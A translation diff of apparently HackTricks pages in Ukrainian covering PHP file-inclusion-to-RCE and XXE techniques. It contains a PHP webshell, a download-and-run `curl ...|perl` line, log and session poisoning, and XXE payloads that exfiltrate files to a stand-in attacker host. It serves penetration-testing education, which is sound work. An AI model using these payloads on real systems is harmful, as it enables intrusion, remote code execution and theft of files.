Дуже короткий підсумок: **3-байтовий переповнення** в купі PHP було використано для **зміни ланцюга вільних шматків** специфічного розміру, щоб мати можливість **записувати що завгодно в будь-яку адресу**, тому був доданий хук для виклику **`system`**.\
|
||||
Було можливим виділяти шматки специфічних розмірів, зловживаючи більше php фільтрами.
|
||||
Дуже короткий підсумок: **3-байтовий переповнення** в купі PHP було зловжито для **зміни ланцюга вільних шматків** специфічного розміру, щоб мати можливість **записувати що завгодно в будь-яку адресу**, тому був доданий хук для виклику **`system`**.\
|
||||
Було можливим виділяти шматки специфічних розмірів, зловживаючи більше php фільтрів.
|
||||
|
||||
### Більше протоколів
|
||||
|
||||
Перевірте більше можливих [**протоколів для включення тут**](https://www.php.net/manual/en/wrappers.php)**:**
|
||||
|
||||
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Запис в пам'ять або в тимчасовий файл (не впевнений, як це може бути корисно в атаці на включення файлів)
|
||||
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Запис у пам'ять або в тимчасовий файл (не впевнений, як це може бути корисно в атаці на включення файлів)
|
||||
- [file://](https://www.php.net/manual/en/wrappers.file.php) — Доступ до локальної файлової системи
|
||||
- [http://](https://www.php.net/manual/en/wrappers.http.php) — Доступ до HTTP(s) URL
|
||||
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Доступ до FTP(s) URL
|
||||
@ -412,9 +412,9 @@ assert("strpos('$file', '..') === false") or die("");
|
||||
|
||||
У [**цьому неймовірному пості**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) пояснюється, як сліпий перехід по шляху може бути зловжито через фільтр PHP для **екстракції вмісту файлу через помилковий оракул**.
|
||||
|
||||
У підсумку, техніка використовує **"UCS-4LE" кодування**, щоб зробити вміст файлу таким **великим**, що **PHP функція**, що відкриває файл, викличе **помилку**.
|
||||
У підсумку, техніка використовує **кодування "UCS-4LE"**, щоб зробити вміст файлу таким **великим**, що **функція PHP**, яка відкриває файл, викличе **помилку**.
|
||||
|
||||
Потім, щоб витягти перший символ, фільтр **`dechunk`** використовується разом з іншими, такими як **base64** або **rot13**, а в кінці фільтри **convert.iconv.UCS-4.UCS-4LE** та **convert.iconv.UTF16.UTF-16BE** використовуються для **розміщення інших символів на початку та їх витоку**.
|
||||
Потім, щоб витягти перший символ, використовується фільтр **`dechunk`** разом з іншими, такими як **base64** або **rot13**, а в кінці використовуються фільтри **convert.iconv.UCS-4.UCS-4LE** та **convert.iconv.UTF16.UTF-16BE**, щоб **помістити інші символи на початку та витягти їх**.
|
||||
|
||||
**Функції, які можуть бути вразливими**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (тільки цільове читання з цим)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
|
||||
|
||||
@ -424,20 +424,20 @@ assert("strpos('$file', '..') === false") or die("");
|
||||
|
||||
### Довільне записування файлів через перехід по шляху (Webshell RCE)
|
||||
|
||||
Коли серверний код, що приймає/завантажує файли, формує шлях призначення, використовуючи дані, контрольовані користувачем (наприклад, ім'я файлу або URL), без канонізації та валідації, сегменти `..` та абсолютні шляхи можуть вийти за межі запланованого каталогу та викликати довільне записування файлу. Якщо ви можете розмістити payload у каталозі, що підлягає веб-доступу, ви зазвичай отримуєте неавтентифіковане RCE, скинувши webshell.
|
||||
Коли серверний код, що приймає/завантажує файли, формує шлях призначення, використовуючи дані, контрольовані користувачем (наприклад, ім'я файлу або URL), без канонізації та валідації, сегменти `..` та абсолютні шляхи можуть вийти за межі запланованого каталогу та викликати довільне записування файлів. Якщо ви можете помістити payload під каталог, що підлягає веб-викриттю, ви зазвичай отримуєте неавтентифіковане RCE, скинувши webshell.
|
||||
|
||||
Типовий робочий процес експлуатації:
|
||||
- Визначте примітив запису в кінцевій точці або фоновому процесі, який приймає шлях/ім'я файлу та записує вміст на диск (наприклад, обробка повідомлень, обробники команд XML/JSON, розпаковувачі ZIP тощо).
|
||||
- Визначте каталоги, що підлягають веб-доступу. Загальні приклади:
|
||||
- Визначте каталоги, що підлягають веб-викриттю. Загальні приклади:
|
||||
- Apache/PHP: `/var/www/html/`
|
||||
- Tomcat/Jetty: `<tomcat>/webapps/ROOT/` → скиньте `shell.jsp`
|
||||
- IIS: `C:\inetpub\wwwroot\` → скиньте `shell.aspx`
|
||||
- Сформуйте шлях переходу, який виходить за межі запланованого каталогу зберігання у веб-корінь, і включіть вміст вашого webshell.
|
||||
- Сформуйте шлях переходу, який виходить за межі запланованого каталогу зберігання в корінь веб-сайту, і включіть вміст вашого webshell.
|
||||
- Перейдіть до скинутого payload і виконайте команди.
|
||||
|
||||
Примітки:
|
||||
- Вразлива служба, яка виконує запис, може слухати на непорті HTTP (наприклад, JMF XML слухач на TCP 4004). Основний веб-портал (інший порт) пізніше обслуговуватиме ваш payload.
|
||||
- У Java стеку ці записи файлів часто реалізуються простим з'єднанням `File`/`Paths`. Відсутність канонізації/дозволеного списку є основним недоліком.
|
||||
- У Java-стосунках ці записи файлів часто реалізуються простим з'єднанням `File`/`Paths`. Відсутність канонізації/дозволеного списку є основним недоліком.
|
||||
|
||||
Загальний приклад XML/JMF-стилю (схеми продуктів варіюються – DOCTYPE/обгортка тіла не має значення для переходу):
|
||||
```xml
|
||||
@ -479,7 +479,7 @@ in.transferTo(out);
|
||||
> [!WARNING]
|
||||
> Зверніть увагу, що **якщо ви використовуєте подвійні лапки** для shell замість **одинарних лапок**, подвійні лапки будуть змінені на рядок "_**quote;**_", **PHP видасть помилку** там, і **нічого іншого не буде виконано**.
|
||||
>
|
||||
> Також переконайтеся, що ви **правильно написали payload**, інакше PHP буде помилятися щоразу, коли намагатиметься завантажити файл журналу, і у вас не буде другої можливості.
|
||||
> Також переконайтеся, що ви **правильно написали payload**, інакше PHP буде видавати помилку щоразу, коли намагатиметься завантажити файл журналу, і у вас не буде другої можливості.
|
||||
|
||||
Це також можна зробити в інших журналах, але **будьте обережні**, код всередині журналів може бути URL-кодованим, і це може знищити Shell. Заголовок **авторизації "basic"** містить "user:password" у Base64, і він декодується всередині журналів. PHPShell може бути вставлений у цей заголовок.\
|
||||
Інші можливі шляхи журналів:
|
||||
@ -496,16 +496,16 @@ in.transferTo(out);
|
||||
```
|
||||
Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI)
|
||||
|
||||
### Via Email
|
||||
### Через електронну пошту
|
||||
|
||||
**Надішліть листа** на внутрішній акаунт (user@localhost), що містить ваш PHP payload, наприклад `<?php echo system($_REQUEST["cmd"]); ?>`, і спробуйте включити до листа користувача шлях, наприклад **`/var/mail/<USERNAME>`** або **`/var/spool/mail/<USERNAME>`**
|
||||
**Надішліть лист** на внутрішній акаунт (user@localhost), що містить ваш PHP payload, наприклад `<?php echo system($_REQUEST["cmd"]); ?>`, і спробуйте включити до листа користувача шлях, наприклад **`/var/mail/<USERNAME>`** або **`/var/spool/mail/<USERNAME>`**
|
||||
|
||||
### Via /proc/\*/fd/\*
|
||||
### Через /proc/\*/fd/\*
|
||||
|
||||
1. Завантажте багато shell'ів (наприклад: 100)
|
||||
2. Включіть [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), де $PID = PID процесу (можна перебрати) і $FD - файловий дескриптор (також можна перебрати)
|
||||
|
||||
### Via /proc/self/environ
|
||||
### Через /proc/self/environ
|
||||
|
||||
Як файл журналу, надішліть payload у User-Agent, він буде відображений у файлі /proc/self/environ
|
||||
```
|
||||
@ -542,7 +542,7 @@ user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"adm
|
||||
```
|
||||
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
|
||||
```
|
||||
Використовуйте LFI для включення PHP файлу сесії
|
||||
Використовуйте LFI для включення файлу сесії PHP
|
||||
```
|
||||
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
|
||||
```
|
||||
@ -559,7 +559,7 @@ login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/s
|
||||
|
||||
### Via php base64 filter (using base64)
|
||||
|
||||
Як показано в [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) статті, PHP base64 filter просто ігнорує Non-base64. Ви можете використовувати це, щоб обійти перевірку розширення файлу: якщо ви надасте base64, що закінчується на ".php", він просто ігноруватиме "." і додасть "php" до base64. Ось приклад payload:
|
||||
Як показано в [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) статті, PHP base64 filter просто ігнорує Non-base64. Ви можете використовувати це, щоб обійти перевірку розширення файлу: якщо ви надасте base64, що закінчується на ".php", він просто проігнорує "." і додасть "php" до base64. Ось приклад payload:
|
||||
```url
|
||||
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
|
||||
|
||||
@ -613,7 +613,7 @@ lfi2rce-via-temp-file-uploads.md
|
||||
```bash
|
||||
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
|
||||
```
|
||||
Це зловживає вразливістю CRLF для отримання RCE (з [**тут**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
|
||||
Наступне зловживає вразливістю CRLF для отримання RCE (з [**тут**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
|
||||
```
|
||||
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
|
||||
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
|
||||
@ -622,13 +622,13 @@ Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php
|
||||
```
|
||||
### Через phpinfo() (file_uploads = on)
|
||||
|
||||
Якщо ви знайшли **Local File Inclusion** і файл, що відкриває **phpinfo()** з file_uploads = on, ви можете отримати RCE:
|
||||
Якщо ви знайшли **Local File Inclusion** і файл, що показує **phpinfo()** з file_uploads = on, ви можете отримати RCE:
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-phpinfo.md
|
||||
{{#endref}}
|
||||
|
||||
### Через compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Розкриття шляху
|
||||
### Через compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Витік шляху
|
||||
|
||||
Якщо ви знайшли **Local File Inclusion** і ви **можете ексфільтрувати шлях** до тимчасового файлу, АЛЕ **сервер** **перевіряє**, чи **файл, що включається, має PHP мітки**, ви можете спробувати **обійти цю перевірку** за допомогою цього **Race Condition**:
|
||||
|
||||
|
||||
@ -6,11 +6,11 @@
|
||||
|
||||
XML - це мова розмітки, призначена для зберігання та транспортування даних, що має гнучку структуру, яка дозволяє використовувати описово названі теги. Вона відрізняється від HTML тим, що не обмежена набором попередньо визначених тегів. Значення XML зменшилося з появою JSON, незважаючи на її початкову роль у технології AJAX.
|
||||
|
||||
- **Подання даних через сутності**: Сутності в XML дозволяють представляти дані, включаючи спеціальні символи, такі як `<` та `>`, які відповідають `<` та `>` для уникнення конфлікту з системою тегів XML.
|
||||
- **Представлення даних через сутності**: Сутності в XML дозволяють представляти дані, включаючи спеціальні символи, такі як `<` та `>`, які відповідають `<` та `>` для уникнення конфлікту з системою тегів XML.
|
||||
- **Визначення елементів XML**: XML дозволяє визначати типи елементів, окреслюючи, як елементи повинні бути структуровані та який вміст вони можуть містити, починаючи від будь-якого типу вмісту до конкретних дочірніх елементів.
|
||||
- **Визначення типу документа (DTD)**: DTD є важливими в XML для визначення структури документа та типів даних, які він може містити. Вони можуть бути внутрішніми, зовнішніми або комбінацією, вказуючи, як документи формуються та перевіряються.
|
||||
- **Користувацькі та зовнішні сутності**: XML підтримує створення користувацьких сутностей у DTD для гнучкого подання даних. Зовнішні сутності, визначені з URL, викликають проблеми безпеки, особливо в контексті атак XML External Entity (XXE), які експлуатують спосіб, яким XML парсери обробляють зовнішні джерела даних: `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
|
||||
- **Виявлення XXE за допомогою параметричних сутностей**: Для виявлення вразливостей XXE, особливо коли звичайні методи не працюють через заходи безпеки парсера, можна використовувати параметричні сутності XML. Ці сутності дозволяють використовувати методи виявлення поза каналом, такі як ініціювання DNS запитів або HTTP запитів до контрольованого домену, щоб підтвердити вразливість.
|
||||
- **Користувацькі та зовнішні сутності**: XML підтримує створення користувацьких сутностей у DTD для гнучкого представлення даних. Зовнішні сутності, визначені з URL, викликають проблеми безпеки, особливо в контексті атак XML External Entity (XXE), які експлуатують спосіб, яким XML парсери обробляють зовнішні джерела даних: `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
|
||||
- **Виявлення XXE за допомогою параметричних сутностей**: Для виявлення вразливостей XXE, особливо коли звичайні методи не працюють через заходи безпеки парсера, можна використовувати параметричні сутності XML. Ці сутності дозволяють використовувати методи виявлення поза каналом, такі як ініціювання DNS запитів або HTTP запитів до контрольованого домену, для підтвердження вразливості.
|
||||
- `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>`
|
||||
- `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>`
|
||||
|
||||
@ -97,7 +97,7 @@ XXE може бути використано для зловживання SSRF
|
||||
|
||||
### Приклад шкідливого DTD:
|
||||
|
||||
Структура така:
|
||||
Структура виглядає наступним чином:
|
||||
```xml
|
||||
<!ENTITY % file SYSTEM "file:///etc/hostname">
|
||||
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
|
||||
@ -121,26 +121,26 @@ XXE може бути використано для зловживання SSRF
|
||||
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
|
||||
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
|
||||
```
|
||||
Цей payload визначає XML параметричну сутність `%xxe` і включає її в DTD. Коли її обробляє XML парсер, цей payload отримує зовнішній DTD з сервера атакуючого. Парсер потім інтерпретує DTD вбудовано, виконуючи кроки, викладені в шкідливому DTD, що призводить до ексфільтрації файлу `/etc/hostname` на сервер атакуючого.
|
||||
Цей payload визначає XML параметричну сутність `%xxe` і включає її в DTD. Коли її обробляє XML парсер, цей payload отримує зовнішній DTD з сервера зловмисника. Парсер потім інтерпретує DTD вбудовано, виконуючи кроки, викладені в зловмисному DTD, що призводить до ексфільтрації файлу `/etc/hostname` на сервер зловмисника.
|
||||
|
||||
### Помилка на основі (Зовнішній DTD)
|
||||
|
||||
**У цьому випадку ми змусимо сервер завантажити шкідливий DTD, який покаже вміст файлу всередині повідомлення про помилку (це дійсно лише якщо ви можете бачити повідомлення про помилки).** [**Приклад звідси.**](https://portswigger.net/web-security/xxe/blind)
|
||||
**У цьому випадку ми змусимо сервер завантажити зловмисний DTD, який покаже вміст файлу всередині повідомлення про помилку (це дійсно лише якщо ви можете бачити повідомлення про помилки).** [**Приклад звідси.**](https://portswigger.net/web-security/xxe/blind)
|
||||
|
||||
Повідомлення про помилку парсингу XML, яке розкриває вміст файлу `/etc/passwd`, може бути викликане за допомогою шкідливого зовнішнього визначення типу документа (DTD). Це досягається через наступні кроки:
|
||||
Повідомлення про помилку парсингу XML, яке розкриває вміст файлу `/etc/passwd`, може бути викликане за допомогою зловмисного зовнішнього визначення типу документа (DTD). Це досягається через наступні кроки:
|
||||
|
||||
1. Визначається XML параметрична сутність з назвою `file`, яка містить вміст файлу `/etc/passwd`.
|
||||
2. Визначається XML параметрична сутність з назвою `eval`, що включає динамічне визначення для іншої XML параметричної сутності з назвою `error`. Ця сутність `error`, коли її оцінюють, намагається завантажити неіснуючий файл, використовуючи вміст сутності `file` як своє ім'я.
|
||||
3. Викликається сутність `eval`, що призводить до динамічного визначення сутності `error`.
|
||||
4. Виклик сутності `error` призводить до спроби завантажити неіснуючий файл, що генерує повідомлення про помилку, яке включає вміст файлу `/etc/passwd` як частину імені файлу.
|
||||
|
||||
Шкідливий зовнішній DTD можна викликати за допомогою наступного XML:
|
||||
Зловмисний зовнішній DTD можна викликати за допомогою наступного XML:
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
|
||||
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
|
||||
```
|
||||
При виконанні відповідь веб-сервера повинна містити повідомлення про помилку, що відображає вміст файлу `/etc/passwd`.
|
||||
Після виконання відповідь веб-сервера повинна містити повідомлення про помилку, що відображає вміст файлу `/etc/passwd`.
|
||||
|
||||
.png>)
|
||||
|
||||
@ -150,7 +150,7 @@ _**Зверніть увагу, що зовнішній DTD дозволяє н
|
||||
|
||||
А що щодо сліпих вразливостей XXE, коли **взаємодії поза каналом заблоковані** (зовнішні з'єднання недоступні)?
|
||||
|
||||
Лазівка в специфікації мови XML може **викрити чутливі дані через повідомлення про помилки, коли DTD документа поєднує внутрішні та зовнішні декларації**. Ця проблема дозволяє внутрішню перезапис сутностей, оголошених зовні, що полегшує виконання атак XXE на основі помилок. Такі атаки експлуатують перезапис сутності параметра XML, спочатку оголошеного в зовнішньому DTD, зсередини внутрішнього DTD. Коли з'єднання поза каналом заблоковані сервером, зловмисники повинні покладатися на локальні файли DTD для проведення атаки, намагаючись викликати помилку парсингу, щоб розкрити чутливу інформацію.
|
||||
Лазівка в специфікації мови XML може **викрити чутливі дані через повідомлення про помилки, коли DTD документа поєднує внутрішні та зовнішні декларації**. Ця проблема дозволяє внутрішнє перевизначення сутностей, оголошених зовні, що полегшує виконання атак XXE на основі помилок. Такі атаки експлуатують перевизначення сутності параметра XML, спочатку оголошеного в зовнішньому DTD, зсередини внутрішнього DTD. Коли з'єднання поза каналом заблоковані сервером, зловмисники повинні покладатися на локальні файли DTD для проведення атаки, намагаючись викликати помилку парсингу, щоб розкрити чутливу інформацію.
|
||||
|
||||
Розгляньте сценарій, де файловий простір сервера містить файл DTD за адресою `/usr/local/app/schema.dtd`, що визначає сутність з назвою `custom_entity`. Зловмисник може викликати помилку парсингу XML, розкриваючи вміст файлу `/etc/passwd`, подавши гібридний DTD наступним чином:
|
||||
```xml
|
||||
@ -188,7 +188,7 @@ _**Зверніть увагу, що зовнішній DTD дозволяє н
|
||||
```
|
||||
.png>)
|
||||
|
||||
Оскільки ця техніка використовує **внутрішній DTD, спочатку потрібно знайти дійсний**. Ви можете зробити це, **встановивши** ту ж **ОС / програмне забезпечення**, що використовує сервер, і **шукаючи деякі стандартні DTD**, або **отримавши список** **стандартних DTD** в системах і **перевіривши**, чи існує хоча б один з них:
|
||||
Оскільки ця техніка використовує **внутрішній DTD, спочатку потрібно знайти дійсний**. Ви можете зробити це, **встановивши** ту ж **ОС / програмне забезпечення**, яке використовує сервер, і **шукаючи деякі стандартні DTD**, або **отримавши список** **стандартних DTD** в системах і **перевіривши**, чи існує хоча б один з них:
|
||||
```xml
|
||||
<!DOCTYPE foo [
|
||||
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
|
||||
@ -205,7 +205,7 @@ _**Зверніть увагу, що зовнішній DTD дозволяє н
|
||||
https://github.com/GoSecure/dtd-finder/tree/master/list
|
||||
{{#endref}}
|
||||
|
||||
Більше того, якщо у вас є **Docker-образ жертви**, ви можете використовувати інструмент з того ж репозиторію, щоб **сканувати** **образ** і **знайти** шлях до **DTD**, присутніх у системі. Прочитайте [Readme репозиторію на github](https://github.com/GoSecure/dtd-finder), щоб дізнатися як.
|
||||
Більше того, якщо у вас є **Docker-образ жертви**, ви можете використовувати інструмент з того ж репозиторію, щоб **сканувати** **образ** і **знайти** шлях до **DTD**, що присутні в системі. Прочитайте [Readme репозиторію на github](https://github.com/GoSecure/dtd-finder), щоб дізнатися як.
|
||||
```bash
|
||||
java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar
|
||||
|
||||
@ -221,11 +221,11 @@ Testing 0 entities : []
|
||||
|
||||
Для більш детального пояснення цієї атаки, **перегляньте другий розділ** [**цього чудового посту**](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/) **від Detectify**.
|
||||
|
||||
Можливість **завантажувати документи Microsoft Office пропонується багатьма веб-додатками**, які потім витягують певні деталі з цих документів. Наприклад, веб-додаток може дозволити користувачам імпортувати дані, завантажуючи електронну таблицю у форматі XLSX. Щоб парсер зміг витягти дані з електронної таблиці, йому неминуче потрібно буде розпарсити принаймні один XML файл.
|
||||
Можливість **завантажувати документи Microsoft Office пропонується багатьма веб-додатками**, які потім витягують певні деталі з цих документів. Наприклад, веб-додаток може дозволити користувачам імпортувати дані, завантажуючи електронну таблицю у форматі XLSX. Щоб парсер зміг витягти дані з електронної таблиці, йому обов'язково потрібно буде обробити принаймні один XML файл.
|
||||
|
||||
Щоб перевірити цю вразливість, необхідно створити **файл Microsoft Office, що містить XXE payload**. Першим кроком є створення порожньої директорії, в яку документ може бути розпакований.
|
||||
|
||||
Після розпакування документа, XML файл, розташований за адресою `./unzipped/word/document.xml`, слід відкрити та відредагувати в улюбленому текстовому редакторі (наприклад, vim). XML слід змінити, щоб включити бажаний XXE payload, часто починаючи з HTTP запиту.
|
||||
Після розпакування документа, XML файл, розташований за адресою `./unzipped/word/document.xml`, слід відкрити та відредагувати у вибраному текстовому редакторі (наприклад, vim). XML слід змінити, щоб включити бажаний XXE payload, часто починаючи з HTTP запиту.
|
||||
|
||||
Змінені XML рядки слід вставити між двома кореневими XML об'єктами. Важливо замінити URL на моніторинговий URL для запитів.
|
||||
|
||||
@ -241,12 +241,12 @@ jar:file:///var/myarchive.zip!/file.txt
|
||||
jar:https://download.host.com/myarchive.zip!/file.txt
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Щоб мати можливість отримувати доступ до файлів всередині PKZIP файлів, це **дуже корисно для зловживання XXE через системні DTD файли.** Перевірте [цей розділ, щоб дізнатися, як зловживати системними DTD файлами](xxe-xee-xml-external-entity.md#error-based-system-dtd).
|
||||
> Щоб мати можливість отримувати доступ до файлів всередині PKZIP файлів, це **дуже корисно для зловживання XXE через системні DTD файли.** Перегляньте [цей розділ, щоб дізнатися, як зловживати системними DTD файлами](xxe-xee-xml-external-entity.md#error-based-system-dtd).
|
||||
|
||||
Процес доступу до файлу в архіві PKZIP через протокол jar включає кілька етапів:
|
||||
|
||||
1. Виконується HTTP запит для завантаження zip архіву з вказаного місця, наприклад, `https://download.website.com/archive.zip`.
|
||||
2. HTTP відповідь, що містить архів, тимчасово зберігається на системі, зазвичай у місці на кшталт `/tmp/...`.
|
||||
2. HTTP відповідь, що містить архів, тимчасово зберігається в системі, зазвичай у місці на кшталт `/tmp/...`.
|
||||
3. Архів потім розпаковується для доступу до його вмісту.
|
||||
4. Конкретний файл в архіві, `file.zip`, читається.
|
||||
5. Після операції будь-які тимчасові файли, створені під час цього процесу, видаляються.
|
||||
@ -257,7 +257,7 @@ jar:https://download.host.com/myarchive.zip!/file.txt
|
||||
<foo>&xxe;</foo>
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Запис файлів у тимчасовий каталог може допомогти **ескалації іншої вразливості, що стосується обходу шляху** (такої як локальне включення файлів, ін'єкція шаблонів, XSLT RCE, десеріалізація тощо).
|
||||
> Запис файлів у тимчасовий каталог може допомогти **ескалації іншої вразливості, що пов'язана з обходом шляху** (такою як включення локальних файлів, ін'єкція шаблонів, XSLT RCE, десеріалізація тощо).
|
||||
|
||||
### XSS
|
||||
```xml
|
||||
@ -294,7 +294,7 @@ i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]
|
||||
|
||||
#### Отримання NTML
|
||||
|
||||
На хостах Windows можливо отримати хеш NTML користувача веб-сервера, налаштувавши обробник responder.py:
|
||||
На хостах Windows можливо отримати NTML хеш користувача веб-сервера, налаштувавши обробник responder.py:
|
||||
```bash
|
||||
Responder.py -I eth0 -v
|
||||
```
|
||||
@ -310,7 +310,7 @@ Responder.py -I eth0 -v
|
||||
|
||||
### XInclude
|
||||
|
||||
При інтеграції даних клієнта в XML-документи на стороні сервера, такі як ті, що в бекенд SOAP запитах, прямий контроль над структурою XML часто обмежений, що ускладнює традиційні атаки XXE через обмеження на модифікацію елемента `DOCTYPE`. Однак атака `XInclude` пропонує рішення, дозволяючи вставку зовнішніх сутностей у будь-який елемент даних XML-документа. Цей метод ефективний навіть тоді, коли можна контролювати лише частину даних у згенерованому сервером XML-документі.
|
||||
При інтеграції даних клієнта в XML-документи на стороні сервера, такі як ті, що в бекенд SOAP запитах, прямий контроль над структурою XML часто обмежений, що ускладнює традиційні XXE атаки через обмеження на зміну елемента `DOCTYPE`. Однак атака `XInclude` пропонує рішення, дозволяючи вставку зовнішніх сутностей у будь-який елемент даних XML-документа. Цей метод ефективний навіть тоді, коли можна контролювати лише частину даних у згенерованому сервером XML-документі.
|
||||
|
||||
Щоб виконати атаку `XInclude`, необхідно оголосити простір імен `XInclude`, а також вказати шлях до файлу для запланованої зовнішньої сутності. Нижче наведено стисле приклад того, як така атака може бути сформульована:
|
||||
```xml
|
||||
@ -324,11 +324,11 @@ productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="tex
|
||||
|
||||
Коли користувачі **завантажують зображення**, ці зображення обробляються або перевіряються на стороні сервера. Навіть для додатків, які очікують формати, такі як PNG або JPEG, **бібліотека обробки зображень сервера також може підтримувати зображення SVG**. SVG, будучи форматом на основі XML, може бути використаний зловмисниками для подання шкідливих SVG зображень, тим самим піддаючи сервер вразливостям XXE (XML External Entity).
|
||||
|
||||
Приклад такого експлойту наведено нижче, де шкідливе SVG зображення намагається прочитати системні файли:
|
||||
Приклад такого експлуатації показано нижче, де шкідливе SVG зображення намагається прочитати системні файли:
|
||||
```xml
|
||||
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200"><image xlink:href="file:///etc/hostname"></image></svg>
|
||||
```
|
||||
Інший метод полягає в спробі **виконати команди** через PHP "expect" обгортку:
|
||||
Інший метод полягає в спробі **виконати команди** через обгортку PHP "expect":
|
||||
```xml
|
||||
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
|
||||
<image xlink:href="expect://ls"></image>
|
||||
@ -338,7 +338,7 @@ productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="tex
|
||||
|
||||
Перевірте [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) для отримання додаткової інформації!
|
||||
|
||||
**Зверніть увагу, що перший рядок з прочитаного файлу або результат виконання з'явиться ВНУТРІ створеного зображення. Тому вам потрібно мати доступ до зображення, яке створив SVG.**
|
||||
**Зверніть увагу, що перший рядок зчитаного файлу або результат виконання з'явиться ВНУТРІ створеного зображення. Тому вам потрібно мати доступ до зображення, яке створив SVG.**
|
||||
|
||||
### **PDF - Завантаження файлу**
|
||||
|
||||
@ -358,7 +358,7 @@ Content-Length: 7
|
||||
|
||||
foo=bar
|
||||
```
|
||||
Тоді ви, можливо, зможете надіслати наступний запит з тим самим результатом:
|
||||
Тоді ви, можливо, зможете надіслати наступний запит з тим же результатом:
|
||||
```xml
|
||||
POST /action HTTP/1.0
|
||||
Content-Type: text/xml
|
||||
@ -368,7 +368,7 @@ Content-Length: 52
|
||||
```
|
||||
### Content-Type: Від JSON до XEE
|
||||
|
||||
Щоб змінити запит, ви можете використовувати розширення Burp під назвою “**Content Type Converter**“. [Here](https://exploitstube.com/xxe-for-fun-and-profit-converting-json-request-to-xml.html) you can find this example:
|
||||
Щоб змінити запит, ви можете використовувати розширення Burp під назвою “**Content Type Converter**“. [Тут](https://exploitstube.com/xxe-for-fun-and-profit-converting-json-request-to-xml.html) ви можете знайти цей приклад:
|
||||
```xml
|
||||
Content-Type: application/json;charset=UTF-8
|
||||
|
||||
@ -396,7 +396,7 @@ Content-Type: application/xml;charset=UTF-8
|
||||
</root>
|
||||
</root>
|
||||
```
|
||||
Інший приклад можна знайти [тут](https://medium.com/hmif-itb/googlectf-2019-web-bnv-writeup-nicholas-rianto-putra-medium-b8e2d86d78b2).
|
||||
Ще один приклад можна знайти [here](https://medium.com/hmif-itb/googlectf-2019-web-bnv-writeup-nicholas-rianto-putra-medium-b8e2d86d78b2).
|
||||
|
||||
## WAF & обхід захистів
|
||||
|
||||
@ -429,7 +429,7 @@ Content-Type: application/xml;charset=UTF-8
|
||||
### HTML Entities
|
||||
|
||||
Трюк з [**https://github.com/Ambrotd/XXE-Notes**](https://github.com/Ambrotd/XXE-Notes)\
|
||||
Ви можете створити **сущність всередині сущності**, закодувавши її за допомогою **html entities**, а потім викликати її для **завантаження dtd**.\
|
||||
Ви можете створити **сущність всередині сущності**, закодувавши її за допомогою **html entities** і потім викликати її для **завантаження dtd**.\
|
||||
